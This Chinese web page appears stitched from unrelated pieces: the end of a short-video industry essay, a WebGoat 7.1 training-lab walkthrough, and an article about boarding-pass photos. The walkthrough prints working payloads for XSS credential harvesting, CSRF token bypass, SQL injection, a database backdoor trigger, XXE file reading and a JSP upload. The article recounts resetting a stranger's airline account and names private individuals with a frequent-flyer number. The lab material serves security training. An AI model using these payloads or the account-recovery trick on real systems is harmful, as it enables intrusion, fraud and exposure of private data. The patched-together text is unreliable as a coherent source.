由于投资者和创业者的急功近利,导致在开始布局加入短视频领域时企业只求速度不看质量,转型的土豆短视频就是如此,为了能快速进入短视频领域,导致对产品的切割做的不够彻底,土豆短视频还保留着原来的视频、综艺等板块内容,这会造成用户的分流,不利于土豆短视频的整合。

此外,在短视频的制作上多为粗制滥造的作品,短视频内容进入一个低俗的怪圈,这不利于短视频长期发展。短视频的泛滥给短视频市场带来了一场不小的打击,劣质内容的不断生产只会让短视频深陷泥潭。

如今,短视频已经进入一个“极盛”的阶段,若没有相关解决方案,短视频将如同直播一般渐渐冷却,已经退场的啪啪奇、微可拍就是很好的例子。

群雄混战下,短视频未来如何前进?

从巨头们的不断加码来看,短视频短时间内会成为内容领域的主要战场之一,而在这个只有巨头玩得起游戏的领域,短视频将如何前行?

首先,短视频在其内容上将走高品质的路线,娱乐化与知识化的结合将成为未来短视频内容的发展方向,如通过调侃的方式来讲述茶文化等等,在娱乐的同时又不失内涵才是短视频长久发展的关键。

其次,要短视频不要过多的依赖于网红主播,这对短视频应用而言是极其不利的,要以自身的优势部分来吸引用户而不是靠大V来拴住用户,在这方面快手就做的很好,在火山小视频将快手的一位大V天佑挖走之后对快手并没有多大的影响,这是因为在快手上的用户很大程度上并不是奔着主播去的,而是奔着内容去的。

最后在对短视频的推广上,支持短视频的下载与分享,在看到一些优质短视频的时候,用户可以对相应的短视频进行下载保存,也可以将高品质的短视频分享给更多用户知道,这样做有利于优质内容的传播。且企业还可以由此来作为考察优质短视频的一则选项,通过对这一选项的考察来对优质短视频实行扶持计划。

总而言之,短视频平台要想凌驾于其他平台之上,除了要迎合广大网友的需求和适应社会发展之外,还要做到上述几个方面。如今,短视频大战的下半场也逐渐落幕,从今日头条、微博、腾讯、阿里在短视频大战中的布局来看,他们以通过弥补自身在短视频上的不足之处和对外加码来强化在短视频上的战斗能力,而最终谁能上演马太效应,成为短视频领域里的霸主,相信不久就会有答案。

刘旷,以禅道参悟互联网、微信公众号:liukuang110

安装

docker pull webgoat/webgoat-7.1
docker run -p 8080:8080 -t webgoat/webgoat-7.1

网站:http://IP:8080/WebGoat/login.mvc

如果想要进去docker容器,docker ps查看容器,然后docker exec –it 容器ID /bin/bash

General

Http Basics(HTTP基础)

该选项是显示HTTP数据包的内容,使用burpsuit代理抓取数据包,我在EnterYourName输入1,下面数据包person参数接收1。

POST/WebGoat/attack?Screen=1869022003&menu=100 HTTP/1.1

Host: 223.168.1.128:8000

User-Agent: Mozilla/5.0 (Windows NT 6.1;WOW64; rv:54.0) Gecko/20100101 Firefox/54.0

Accept: */*

Accept-Language:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded;charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer:http://223.168.1.128:8000/WebGoat/start.mvc

Content-Length: 19

Cookie:JSESSIONID=9CC338A02AEA2ADCB44302FDB691BB09

Connection: close

 

person=1&SUBMIT=Go!

Access Control Flaws(访问控制缺陷)

Using an Access Control Matrix(使用访问控制矩阵)

在基于角色的访问控制方案中,角色表示一组访问权限和权限。用户可以被分配一个或多个角色。基于角色的访问控制方案通常由角色权限管理和角色分配两部分组成。基于角色的访问控制方案可能允许用户执行他/她分配的角色不允许的访问,或以某种方式允许向未授权角色提升权限。

 

一般目标:

每个用户都是允许访问某些资源的角色的成员。您的目标是探索管理此网站的访问控制规则。只有[Admin]组才能访问“Account Manager”资源。

示范如下:

MOE用户不允许访问该组

Clipboard Image.png

Larry允许访问该组,左上角打钩代表课程完成。

Clipboard Image.png

Bypass a Path Based Access Control Scheme(绕过路径访问控制方案)

‘webgoat’用户可以访问lessonPlans/en目录中的所有文件。 尝试破坏访问控制机制并访问不在列出的目录中的资源。 选择要查看的文件后,WebGoat将报告是否授予对文件的访问权限。 尝试获取的有趣文件可能是像WEB-INF/spring-security.xml这样的文件。 请记住,文件路径将根据WebGoat的启动方式而有所不同。

当前路径:

/.extract/webapps/WebGoat/plugin_extracted/plugin/BlindStringSqlInjection/lessonPlans/en/BlindStringSqlInjection.html

Clipboard Image.png

现在我们要获取WEB-INF/spring-security.xml文件的内容。首先说一下../代表上一级目录,其次我们要找到文件的路径,最后更改文件路径。

操作如下,使用burpsuit修改File参数的内容:

POST/WebGoat/attack?Screen=231255157&menu=200 HTTP/1.1

Host: 223.168.1.128:8000

User-Agent: Mozilla/5.0 (Windows NT 6.1;WOW64; rv:54.0) Gecko/20100101 Firefox/54.0

Accept: */*

Accept-Language:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type:application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer:http://223.168.1.128:8000/WebGoat/start.mvc

Content-Length: 64

Cookie:JSESSIONID=9CC338A02AEA2ADCB44302FDB691BB09

Connection: close

 

File=../../../../../WEB-INF/spring-security.xml&SUBMIT=View+File

 

Clipboard Image.png

 

LAB: Role Based Access Control(基于角色的访问控制)

该类型分四个阶段,故而在下面阶段演示。

Stage 1: Bypass Business Layer Access Control(阶段1:绕过业务层访问控制)

作为普通员工“tom”,利用弱访问控制来使用“职员列表”页面中的“删除”功能。验证可以删除汤姆的个人资料。用户的密码是小写的给定名称(例如Tom Cat的密码是“tom”)。

Clipboard Image.png

登录进去之后,对ViewProfile按钮进行抓包

Clipboard Image.png

修改action参数的内容为DeleteProfile,然后发送数据包即可。

Clipboard Image.png

Stage 2: Add Business Layer Access Control.

本课程仅与WEBGOAT的开发者版本协调工作

执行修复以拒绝未经授权的访问删除功能。为此,您必须更改WebGoat代码。完成此操作后,重复第1步,并验证是否正确地拒绝对DeleteProfile功能的访问。

进入docker容器

Clipboard Image.png

查看代码

因为本人不熟悉Java代码,所以这一部分跳过。

Stage 3: Breaking Data LayerAccess Control(阶段3:打破数据层访问控制)

目标:作为普通员工“tom”,利用弱访问控制来查看其他员工的个人资料。

使用tom用户登录

Clipboard Image.png

对viewprofile按钮进行抓包,105是tom的ID号,而Larry的ID号为101,修改ID为101

Clipboard Image.png

Clipboard Image.png

Stage 4: Add Data Layer Access Control.(阶段4:添加数据层访问控制。)略

AJAX Security

DOM Injection

*您的受害者是一个系统,需要一个激活密钥才能使用它。

*您的目标应该是尝试启用激活按钮。

*请花一些时间查看HTML源码,以了解关键验证过程的工作原理。

使用调试器,找到activate按钮的源代码,将disable=“”这一段删除,然后按钮启用,点击按钮即可。

Clipboard Image.png

Clipboard Image.png

LAB: DOM-Based cross-site scripting

阶段1:对于本练习,您的任务是使用以下位置的图像对本网站进行描述:OWASP IMAGE

在输入框输入<img src=”images/logos/owasp.jpg” />,点击按钮

Clipboard Image.png

STAGE 2:现在,尝试使用image标签创建JavaScript警报

在输入框输入<img src=test onerror=”alert(‘this is xss test’)”>,点击按钮即可

Clipboard Image.png

Clipboard Image.png

阶段3:接下来,尝试使用IFRAME标签创建JavaScript警报。

在输入框输入<iframe src=javascript:alert(0)></iframe>,点击按钮即可

Clipboard Image.png

阶段4:使用以下命令创建假登录表单:

Hello, Please enter your password :<BR><inputtype = "password" name="pass"/><buttononClick="javascript:alert('I have your password:'+pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>

Clipboard Image.png

阶段5:执行客户端HTML实体编码以减轻DOM XSS漏洞。在escape.js中为您提供了一种实用方法。

进入docker容器

Clipboard Image.png

修改DOMXSS.js,在name加上escapeHTML(),即escapeHTML(name),然后保存即可。

LAB: Client Side Filtering(LAB:客户端过滤)

阶段1:您以山羊山金融公司(CSO)Moe Stooge的身份登录。您可以访问公司信息中的每个人,除了CEO,内维尔巴塞洛缪。或者至少你不应该访问CEO的信息。对于此练习,请检查页面的内容,以查看可以找到的额外信息。

使用调试器,找到Bartholomew,输入450000

Clipboard Image.png

阶段2:现在,解决问题。修改服务器只返回可以看到Mustache的结果。

Clipboard Image.png

刷新网页,点击Click here when you believe you have completed the lesson.按钮

Clipboard Image.png

XML Injection

WebGoat-Miles奖励里程显示所有可用的奖励。 输入帐户号码后,课程将显示您的余额和您负担得起的产品。 您的目标是尝试为您所允许的一套奖励增加更多奖励。 您的帐户ID是836239。

在输入框输入836239

Clipboard Image.png

使用调试器找到勾选框所在的源代码,添加两个<tr>,然后将所有框都打上勾

Clipboard Image.png

Clipboard Image.png

JSON Injection

*您从波士顿,MA-机场代码BOS到西雅图,WA – 机场代码SEA。

*输入机场的三位数代码后,将会执行一个AJAX请求,询问机票价格。

*你会注意到有两个航班可用,一个昂贵的一个没有停止,另一个便宜的一个有2站。

*你的目标是试图要一个没有停止,但更便宜的价格。

正常是这样

Clipboard Image.png

使用burpsuit抓取,并显示响应包

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

还有另外一种思路,直接改最后的数据包

Clipboard Image.png

Silent Transactions Attacks(静默交易攻击)

*这是一个示例的网上银行应用程序 – 汇款页面。

*显示在您的余额之下,您转移的账户和您将转账的金额。

*应用程序使用AJAX在进行一些基本的客户端验证后提交交易。

*您的目标是尝试绕过用户的授权,并以静默方式执行交易。

Clipboard Image.png

在调试器输入javascript:submitData(12345,11111111111)

Clipboard Image.png

Insecure Client Storage(不安全的客户端存储)

阶段1:对于此练习,您的任务是发现优惠券代码以获得意想不到的折扣。

使用firebug对js进行调试,发现优惠价代码:PRESSTWO

Clipboard Image.png

Clipboard Image.png

阶段2:现在,尝试免费获得整个订单。

Clipboard Image.png

Clipboard Image.png

Dangerous Use of Eval

对于这个练习,你的任务是提出一些包含脚本的输入。您必须尝试将此页面反映回您的浏览器,这将执行脚本。为了通过本课程,您必须’alert()’document.cookie。

在输入框输入123′)%3Balert(document.cookie)%3B(‘

Clipboard Image.png

Same Origin Policy Protection

本演示演示了同源政策保护。 XHR请求只能被传回给始发服务器。尝试将数据传递到非始发服务器将失败。

输入网址:/WebGoat/plugin_extracted/plugin/SameOriginPolicyProtection/jsp/sameOrigin.jsp

Clipboard Image.png

输入网址:http://www.google.com/search?q=aspect+security

This exercise demonstrates the Same OriginPolicy Protection.  XHR requests can onlybe passed back to  the originatingserver.  Attempts to pass data to anon-originating server  will fail.(本演示演示了同源政策保护。 XHR请求只能被传回给始发服务器。尝试将数据传递到非始发服务器将失败。)

Clipboard Image.png

Authentication Flaws(认证漏洞)

Password Strength(密码强度)

您的Web应用程序的帐户与密码一样安全。对于此练习,您的工作是在https://howsecureismypassword.net上测试多个密码。 您必须同时测试所有6个密码…

在你的应用程序你应该设置好的密码要求!

桌面电脑需要多少时间来破解这些密码?

Clipboard Image.png

Forgot Password(忘记密码)

Web应用程序经常为用户提供检索忘记密码的能力。 不幸的是,许多Web应用程序无法正确实现机制。 验证用户身份所需的信息往往过于简单。

一般目标:

如果用户可以正确回答这个秘密问题,用户可以检索密码。这个“忘记密码”页面上没有锁定机制。您的用户名是“webgoat”,您最喜欢的颜色是“红色”。目标是检索另一个用户的密码。

Clipboard Image.png

我检索admin用户

Clipboard Image.png

Multi Level Login 1

阶段1:这个阶段只是为了展示一个经典的多登录是如何工作的。您的目标是通过用户Jane和密码tarzan进行常规登录。您有以下TAN:

Tan#1 = 15648

Tan#2 = 92156

Tan#3 = 4879

Tan#4 = 9458

Tan#5 = 4879

登录

Clipboard Image.png

Buffer Overflows

Off-by-One Overflows(逐个溢出)

第一步操作,东西随便填。

第二步操作,使用burpsuit拦截

Clipboard Image.png

Clipboard Image.png

将拦截到数据包发送到intruder

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Code Quality(代码质量)

Discover Clues in the HTML(在HTML中发现线索)

开发人员在源代码中留下诸如FIXME,TODO,Code Broken,Hack等的信息。 以下是基于表单的身份验证形式的示例。 寻找帮助您登录的线索。

Clipboard Image.png

Concurrency(并发)

Thread Safety Problems(线程安全问题)

用户应该能够利用此Web应用程序中的并发错误,并查看正在尝试同一功能的另一个用户的登录信息。这将需要使用两个浏览器。有效的用户名为’jeff’和’dave’。
请输入您的用户名以访问您的帐户。

手速要快!!!打开两个浏览器输入jeff

Clipboard Image.png

Shopping Cart Concurrency Flaw(购物车并发缺陷)

对于此练习,您的任务是利用并发问题,这样可以以更低的价格购买商品。

A浏览器选择购买

Clipboard Image.png

Clipboard Image.png

B浏览器选择更新

Clipboard Image.png

然后在A浏览器看到可以用较低的钱买价格高的东西

Clipboard Image.png

Clipboard Image.png

Cross-Site Scripting (XSS)

Phishing with XSS(网络钓鱼XSS)

本课程是网页如果在网页上发生已知XSS攻击时可能支持网络钓鱼攻击的示例

以下是标准搜索功能的示例。

使用XSS和HTML插入,您的目标是:

     将html插入该请求凭据

     添加javascript以实际收集凭据

     将凭据发送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes…

要通过本课程,凭证必须发布到捕获者servlet。

在输入框输入一下代码

<script>functionhack(){ alert("Had this been a real attack... Your credentials were juststolen. User Name = " + document.forms[1].user.value + "Password =" + document.forms[1].pass.value); XSSImage=new Image(); XSSImage.src="http://192.168.8.89:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[1].user.value+ "&password=" + document.forms[1].pass.value + "";}</script><form><br><br><HR><H3>This featurerequires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="button" name="login" value="login"onclick="hack()"></form><br><br><HR>

Clipboard Image.png

LAB: Cross Site Scripting

Stage 1: Stored XSS

第一步,先使用tom账号登录(密码:tom)

Clipboard Image.png

Clipboard Image.png

第二步,使用HR(密码:jerry)号登录,查看tom的信息

Clipboard Image.png

 

Stage 2: Block Stored XSS using Input Validation(修复过程略)

Stage 3: Stored XSS Revisited

验证Bruce的个人简介中包含有XSS攻击,使用David用户(密码:david)登录,查看Bruce的个人简介,出现弹窗,表明存在XSS攻击。

Clipboard Image.png

Clipboard Image.png

Stage 4: Block Stored XSS using Output Encoding(修复过程略)

 Stage 5: Reflected XSS

使用用户Larry(密码:larry)登录,在Search Staff搜索框中输入。

Clipboard Image.png

Clipboard Image.png

Stage 6: Block Reflected XSS(修复过程略)

Stored XSS Attacks(存储型XSS)

在表单输入<script>alert(0)</script>
Clipboard Image.png

Clipboard Image.png

Reflected XSS Attacks(反射型XSS)

Clipboard Image.png

<img src=“attack?Screen=2078372&menu=900&transferFunds=5000″/>
Clipboard Image.png

Cross Site Request Forgery (CSRF)

您的目标是向新闻组发送电子邮件。 该电子邮件包含一个图像,其URL指向恶意请求。 在本课中,URL应该指向“攻击”servlet,其中包含课程的“屏幕”和“菜单”参数,以及具有任意数值的额外参数“transferFunds”(如5000)。您可以通过查找“屏幕”来构建链接 “和”菜单“值在右侧的参数插入。 当时通过身份认证的CSRF电子邮件的接收者将转移资金。 当本课程的攻击成功时,左侧菜单中的课程名称旁边会显示一个绿色的勾号。

<img src="attack?Screen=2078372&menu=900&transferFunds=5000"/>

Clipboard Image.png

Clipboard Image.png

CSRF Prompt By-Pass

类似于CSRF课程,您的目标是向包含多个恶意请求的新闻组发送电子邮件:第一个转移资金,第二个请求确认第一个请求触发的提示。 URL应该使用此CSRF-prompt-by-pass课程的屏幕,菜单参数和具有数字值(例如“5000”)的额外参数“transferFunds”来指向攻击小服务程序,以启动传输和字符串值“CONFIRM” 完成它。 您可以从右侧的插图复制课程参数,创建格式为“attack?Screen = XXX&menu = YYY&transferFunds = ZZZ”的网址。 谁收到这封电子邮件,恰好在当时被认证,将有资金转移。 当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查。

<img src="http://192.168.8.89:8080/WebGoat/attack?Screen=227&menu=900&transferFunds=5000" onerror="document.getElementById('image2').src='http://192.168.8.89:8080/WebGoat/attack?Screen=227&menu=900&transferFunds=CONFIRM'"> <imgid="image2">

Clipboard Image.png

Clipboard Image.png

CSRF Token By-Pass

类似于CSRF课程,您的目标是向包含恶意请求转移资金的新闻组发送电子邮件。 要成功完成,您需要获取有效的请求令牌。 提供转账资金表单的页面包含一个有效的请求令牌。 转移资金页面的URL是本课程的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds = main”的“攻击”servlet。 加载此页面,读取令牌,并在伪造的请求中附加令牌以传输数据。 当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查。

<script>

var readToken = function(){

var doc = document.getElementById("frame1").contentDocument

var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value");

alert(token);

var frame2 = document.getElementById("frame2");

frame2.src = "http://192.168.8.89:8080/WebGoat/attack?Screen=2&menu=900&transferFunds=4000&CSRFToken="+token;

}

</script>

<iframe id="frame2" >

</iframe>

<iframe id="frame1" onload="readToken()" src="http://192.168.8.89:8080/WebGoat/attack?Screen=2&menu=900&transferFunds=main" >

</iframe>

Clipboard Image.png

Clipboard Image.png

 

HTTPOnly Test

为了帮助减轻跨站点脚本威胁,Microsoft已经推出了一个名为“HttpOnly”的新Cookie。 如果设置了此标志,则浏览器不允许客户端脚本访问该cookie。 由于属性相对较新,因此若干浏览器忽略了正确处理新属性。

有关受支持浏览器的列表,请参阅:OWASP HTTPOnly支持

一般目标:

本课的目的是测试您的浏览器是否支持HTTPOnly cookie标志。 注意unique2u cookie的值。 如果您的浏览器支持HTTPOnly,并且您启用Cookie,则客户端代码无法读取或写入该cookie,但浏览器仍可将其值发送到服务器。 某些浏览器只能防止客户端读取访问,但不要阻止写入访问。

打开HTTPOnly属性后,在浏览器地址栏中输入“javascript:alert(document.cookie)”。 注意除了unique2u cookie之外,所有Cookie都会显示。

Clipboard Image.png

Clipboard Image.png
Clipboard Image.png
Clipboard Image.png

Improper Error Handling(不当的错误处理)

Fail Open Authentication Scheme(失败的认证方案)

由于认证机制中的错误处理问题,可以在不输入密码的情况下认证为“webgo”用户。 尝试以webgoet用户身份登录,而不指定密码。

Clipboard Image.png

删除password参数

Clipboard Image.png

Clipboard Image.png

Injection Flaws

Command Injection(命令注入)

命令注入攻击是对任何参数驱动的站点的严重威胁。攻击背后的方法易于学习,造成的损害可能会从相当大的到完全的系统妥协。尽管有这些风险,互联网上的令人难以置信的系统容易受到这种形式的攻击。

不仅容易引起威胁,而且也是一个威胁,有一点常识和预想,几乎完全可以防止。本课将向学生展示参数注入的几个例子。

清理所有输入数据,特别是将在OS命令,脚本和数据库查询中使用的数据是一贯的良好做法。

尝试向操作系统注入一个命令。

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Numeric SQL Injection(数字型注入)

Clipboard Image.png

Clipboard Image.png

Log Spoofing(日志欺骗)

*以下灰色区域表示Web服务器的日志文件中将要记录的内容。

*您的目标是让用户名“admin”成功登录。

*通过向日志文件添加脚本来提升攻击。

在输入框输入:Smith%0d%0aLogin Succeeded for username: admin

Clipboard Image.png

Clipboard Image.png

XPATH Injection

下面的表格允许员工查看他们所有的个人资料,包括他们的工资。 您的帐户是Mike / test123。 您的目标是尝试查看其他员工的数据。

在用户输入框输入Smith’ or 1=1 or ‘a’='a,密码框随便输入

Clipboard Image.png

Clipboard Image.png

String SQL Injection(字符串注入)

SQL注入攻击是对任何数据库驱动的站点的严重威胁。攻击背后的方法易于学习,造成的损害可能会从相当大的到完全的系统妥协。尽管有这些风险,互联网上的令人难以置信的系统容易受到这种形式的攻击。

不仅容易引起威胁,还可以轻而易举地预防这种威胁。

即使以其他方式阻止了SQL注入的威胁,所有的操作都是清理所有输入数据,尤其是在OS命令,脚本和数据库查询中使用的数据。

一般目标:

下面的表格允许用户查看他们的信用卡号码。尝试注入一个SQL字符串,导致显示所有信用卡号。尝试用户名“史密斯”。

现在您已成功执行SQL注入,请尝试对参数化查询进行相同类型的攻击。如果您希望返回到可注入的查询,请重新启动课程。

Clipboard Image.png

Clipboard Image.png

LAB: SQL Injection

Stage 1: String SQL Injection

Clipboard Image.png

Clipboard Image.png

Stage 2: Parameterized Query #1(修复方式:参数化查询)

Stage 3: Numeric SQL Injection

使用larry用户登录

Clipboard Image.png

Clipboard Image.png

刷新浏览器

Clipboard Image.png

Stage 4: Parameterized Query #2(修复方式:参数化查询)

Database Backdoors(数据库后面)

101;update employee set salary=1234567 where userid=101

Clipboard Image.png

101;create trigger mybackdoor

before insert on employee foreach row begin update

employee setemail=’[email protected]’ where userid=new.userid

Clipboard Image.png

Blind Numeric SQL Injection(数字型盲注)

101 AND ((SELECT pin FROM pins WHEREcc_number=’1111222233334444′) > 1000 );

Clipboard Image.png

Clipboard Image.png

一直用二分法找到数字是2364

Clipboard Image.png

Blind String SQL Injection(字符串盲注)

101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 1, 1) < ‘H’ );

Clipboard Image.png

第二个字符:改成2,以此类推。

101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 2, 1) < ‘H’ );

答案找到是Jill

Clipboard Image.png

 

Denial of Service(拒绝服务攻击)

ZipBomb(压缩包炸弹)

服务器只接受ZIP文件,在上传后提取它们,并与其一起删除,并提供20 MB的临时存储来处理所有请求,尝试执行DOS攻击,消耗所有临时存储与一个请求

简单来说,一直上传低于20M的压缩包,把服务器弄崩溃

Denial of Service from Multiple Logins

先获取所有帐号

Clipboard Image.png

打开三个页面

Clipboard Image.png

Clipboard Image.png
Clipboard Image.png
Clipboard Image.png

Insecure Communication(不安全的通讯)

Insecure Login(不安全登录)

使用调试器看到密码

Clipboard Image.png

Clipboard Image.png
第二阶段改成https
Clipboard Image.png
Clipboard Image.png

Insecure Storage(不安全存储)

Encoding Basics(加密基础)

Clipboard Image.png

Malicious Execution(恶意执行)

Malicious File Execution(恶意文件执行)

<HTML>

<% java.io.File file= newjava.io.File("/.extract/webapps/WebGoat/mfe_target/webgoat.txt");file.createNewFile();%>

</HTML>

保存成jsp上传

Clipboard Image.png

http://192.168.8.89:8080/WebGoat/uploads/1.jsp,再刷新一下浏览器即可

Parameter Tampering(参数修改)

Bypass HTML Field Restrictions

将表单启用,再使用burpsuit抓包,随便修改6个参数内容

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

XML External Entity (XXE)

<?xml version="1.0"?>

 <!DOCTYPE Header [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<searchForm> <from>&xxe;</from></searchForm>

Clipboard Image.png

Exploit Hidden Fields(利用隐藏的字段)

简单来说,就是改了前端的值

Clipboard Image.png

Clipboard Image.png

 

Exploit Unchecked Email

此表格是客户支持页面的示例。 使用下面的表单尝试:

1)向网站admin发送恶意脚本。

2)从OWASP向“朋友”发送恶意脚本。

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

 

Bypass Client Side JavaScript Validation

该网站执行客户端和服务器端验证。 对于此练习,您的工作是打破客户端验证并发送不期望的网站输入。 您必须同时打破所有7个验证器。

Clipboard Image.png

Clipboard Image.png
Clipboard Image.png

Session Management Flaws

Hijack a Session(点击劫持)

参考视频:https://www.youtube.com/watch?v=FA5FjjV4L7Y

Cookie里面的WEAKID这个参数是会话标识。我们知道如果客户端发送给Web服务器的请求里面没有会话标识的话,服务器会从新生成一个新的会话标识并通过Cookie返回给客户端

Clipboard Image.png

发送数据包到sequencer选项
Clipboard Image.png
Clipboard Image.png
由于burpsuite的fuzz不到cookie的位置,故显示不了效果,具体的可以参照视频。
Clipboard Image.png
Clipboard Image.png

 Spoof an Authentication Cookie(欺骗认证Cookie)

Webgoat:AuthCookie=65432ubphcfx

Aspect:AuthCookie=65432udfqtb

alice用户的cookie是65432,ecilaèfdjmb

分析cookie,64532是不变的,后面的字符串是经历逆转字符串,然后往后推一位

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

 

Session Fixation(会话固定)

在网站后面添加&SID=45

Clipboard Image.png

Clipboard Image.png

按照提示输入用户名和密码

Clipboard Image.png

Clipboard Image.png

第四步,直接打开192.168.8.89:8080/WebGoat/start.mvc#attack/2007866518/1800&SID=45

Clipboard Image.png

Web Services

Create a SOAP Request

Web服务通过使用SOAP请求进行通信。 这些请求被提交给Web服务,试图执行在Web服务定义语言(WSDL)中定义的功能。 让我们来了解一些关于WSDL文件的内容。 查看WebGoat的Web服务描述语言(WSDL)文件。

一般目标:

尝试使用浏览器或Web Service工具连接到WSDL。 Web服务的URL是:http://localhost/WebGoat/services/SoapRequest通常可以在Web服务请求的末尾添加一个WSDL来查看WSDL。 您必须访问2个操作才能通过本课程。

拦截请求并通过发送有效的帐户的有效SOAP请求来调用任何方法。

您必须至少访问2个方法来传递课程。

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

使用burpsuit的wsdler插件分析SOAP,但是测试发现无法完成该课程,思路是对的,只是它的验证方法可能与我不对。

Clipboard Image.png

WSDL Scanning

Clipboard Image.png

Clipboard Image.png

修改参数内容

Clipboard Image.png

Web Service SAX Injection

Web服务通过使用SOAP请求进行通信。 这些请求被提交给Web服务,以尝试执行在Web服务定义语言(WSDL)文件中定义的功能。

一般目标:

一些Web界面在后台使用Web服务。 如果前端依赖于Web服务进行所有输入验证,则可能会破坏Web界面发送的XML。

在本练习中,尝试更改101以外的用户的密码。

在输入框输入下面内容

<id xsi:type='xsd:int'>102</id>

<password xsi:type='xsd:string'>[email protected]$$w0rd?</password>

Clipboard Image.png

Web Service SQL Injection

使用burpsuit的插件wsdler

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

假期里的每一天都是宝贵的,如果你打算坐飞机去哪儿旅游的话,你很可能会在机场先晒一波登机牌,但是当你准备把它晒到社交平台(例如Facebook、Instagram和微博)的话,我建议你先考虑清楚。

一次去往香港的旅行

我认识Petr Mara已经很多年了,他是一个非常nice的人。他不仅是一名演说家、培训师和视频主播,而且他还是一名iOS&macOS开发人员。除此之外,他也很喜欢旅游。他和他的老婆在2016年5月份曾去往香港庆祝他老婆的生日,但Petr并没有告诉我他准备去多久。但是出于好奇心我得想办法知道他要去多久,而我在他晒出的登机牌(飞机起飞前发在了Instagram)上发现了客票订单号YJVFKG以及一个条形码。

乱晒登机牌很可能导致你的账户信息被盗用

这架从伦敦起飞的航班到香港大约要12个小时,为了弄清楚Petr的返程日期,我可以先上英国航空的官网搜索一下这个客票号。打开搜索页面之后,我看到了一个“碍眼”的红色按钮,你知道的,每当你看到红色的按钮,你想办法点一下总是没错的。于是填写好相关信息之后,我点击了这个红色按钮。

乱晒登机牌很可能导致你的账户信息被盗用

乱晒登机牌很可能导致你的账户信息被盗用

英国航空需要确定是Petr本人正在尝试修改信息,而我可以直接输入他的护照号或生日,虽然我不知道他的护照号,但我可以在他的Facebook资料中找到他的生日以及捷克共和国的商业登记表。相对其他信息来说,生日一般可以算是某种公开信息了,,而且生日也可以反映在税号或商业登记表的VAT编号上,因此它并不能算是什么秘密。

乱晒登机牌很可能导致你的账户信息被盗用

最终,我找到了他的护照号!而且我甚至还可以修改它。这样一来,我就可以想办法让Petr在香港再多呆几天了。我可以把他的护照号改成某个全球通缉的罪犯的护照号,但我并没有这样做。我把这一切告诉了Petr,而且我还跟他道了歉,因为我的操作让他在24小时之内都无法访问航空公司的订票页面了(因为我曾尝试猜测他老婆的生日)。不过还好,Petr原谅了我。不过这也给他上了一课:当你想晒登机牌的时候,该打码的地方一定要打码!

社交平台上随处可见的登机牌

你可以在很多社交平台上找到大量的登机牌照片,有些人会自作聪明地给自己的名字和其他信息打码,但登机牌上的二维码他们却置之不理。比如说下面这个例子,这个登机牌属于一位名叫Anna的年轻姑娘:

乱晒登机牌很可能导致你的账户信息被盗用

Anna的全名是Anna Ferencakova,这张登机牌是她当初在2017年4月份从布拉格到塞尔维亚的贝尔格莱德所用的,这一切当你扫描了上面的条形码之后你自然就知道了。

乱晒登机牌很可能导致你的账户信息被盗用

由于现在越来越多的人开始使用各种智能设备,条形码或二维码甚至可以直接在智能手表上直接显示,下面这张图片显示的是一张登机牌上的Aztec code(一种二维码),这种图码中包含的信息与以前纸质版登机牌上的信息是一样的,但是有了智能手表,你就不需要再打印纸质登机牌了,你只需要在登机时伸手扫描一下就可以了,这就是高科技…

乱晒登机牌很可能导致你的账户信息被盗用

这个手表是Stephen Fenech的,他当时是从旧金山直飞纽约。跟刚才一样,我也是扫了他的Aztec code才知道的。Aztec code中还包含一个非常重要的信息:即飞行常旅客编号。Fenech先生的美国航空常旅客编号为4708760。关于登机牌的更多内容,大家还可以参考《智能手表与登机牌的陷阱》。

乱晒登机牌很可能导致你的账户信息被盗用

窃取账号

在社交平台上搜索登机牌时,我发现了一个Aztec code,这个登机牌是一个男性乘客发出来的(部分信息已打码)。他在某个特定领域内算是个名人,而且Twitter有12万多的粉丝。图片中的二维码包含了他的美联航常旅客编号。而美联航会将这种常旅客号当成一种超级访问密码,一般他们在官方信件上打印这种号码时都只会打印最后三位数字,剩余部分则不会打印出来(像密码一样用*代替)。当然了,Aztec code中显示的是完整的飞行常旅客号,所以我觉得可以用这个编号来入侵这个人的账号。

所以我进入了美联航的官网,选择了“忘记密码”,然后输入了姓名和Aztec code中包含的飞行常旅客号。接下来的两个安全问题也是比较简单的:“你去过的第一个大城市”就是他的出生地,而“你最喜欢的冬季活动”在阿尔卑斯山区肯定也不会是高尔夫。系统识别成功之后,我就可以给他的账号设置一个新的密码了。

乱晒登机牌很可能导致你的账户信息被盗用

其实我并没有设置新的密码,因为我也不想给他人带来不必要的麻烦。但我像之前一样,我也给这个人发了一条信息,并提醒他以后晒登机牌的时候一定要注意。

任何带有条码的图片都不要晒!

很多人在发一条状态或者照片时,他们其实往往都不知道这种行为意味着什么。因为一眼看过去,其实你并看不出什么有价值的内容,但是你所认为没价值的东西在某些人眼里就是非常有价值的。所以当你想要在社交平台上晒什么东西之前,一定要考虑清楚,该打码的地方一定要打码。不过友情提醒一下,马赛克也许根本救不了你

 

